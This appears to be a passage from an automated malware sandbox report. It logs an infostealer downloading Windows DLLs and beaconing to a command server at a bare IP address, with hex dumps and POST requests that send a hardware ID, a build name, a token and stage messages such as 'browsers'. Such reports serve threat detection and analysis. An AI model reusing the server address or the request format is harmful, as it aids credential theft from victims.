23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Sep 2024 19:30:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Sep 2024 19:30:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Sep 2024 19:30:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Sep 2024 19:30:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Sep 2024 19:30:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.233.113.184Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 193.233.113.184Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 45 34 38 31 38 35 43 41 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="hwid"7EE48185CA661964116302------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="build"LogsDiller------GDGDHJJDGHCAAAKEHIJK--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKHost: 193.233.113.184Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 49 49 4a 4a 45 43 47 44 48 49 45 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------ECAFHIIJJECGDHIEGDAKContent-Disposition: form-data; name="message"browsers------ECAFHIIJJECGDHIEGDAK--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBKJKJKKJDGDGDGIDGHost: 193.233.113.184Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 2d 2d 0d 0a Data Ascii: ------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="message"plugins------GHDBKJKJKKJDGDGDGIDG--
Source: global traffic	HTTP traffic detected: POST /6d687e53250c2111.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEGHost: 193.233.113.184Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 